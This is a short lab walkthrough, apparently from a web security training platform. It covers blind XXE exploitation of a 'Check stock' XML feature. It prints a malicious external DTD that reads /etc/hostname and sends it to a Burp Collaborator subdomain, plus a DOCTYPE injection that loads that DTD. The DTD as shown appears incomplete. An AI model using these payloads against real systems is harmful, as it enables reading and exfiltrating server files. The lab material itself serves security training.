This lab has a "Check stock" feature that parses XML input but does not display the result.
To solve the lab, exfiltrate the contents of the /etc/hostname file via Burp Collaborator.
The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.
You must use the public Burp Collaborator server (burpcollaborator.net).
Using Burp Suite Professional, go to the Burp menu, and launch the Burp Collaborator client.
Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. Leave the Burp Collaborator client window open.
Place the Burp Collaborator payload into a malicious DTD file:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/?x=%file;'>">
Click "Go to exploit server" and save the malicious DTD file on your server. Click "View exploit" and take a note of the URL.
Then exploit the stock checker feature by adding a parameter entity referring to the malicious DTD. Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite. Insert the following external entity definition in between the XML declaration and the stockCheck element:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
Go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again.
You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload. The HTTP interaction could contain the contents of the /etc/hostname file.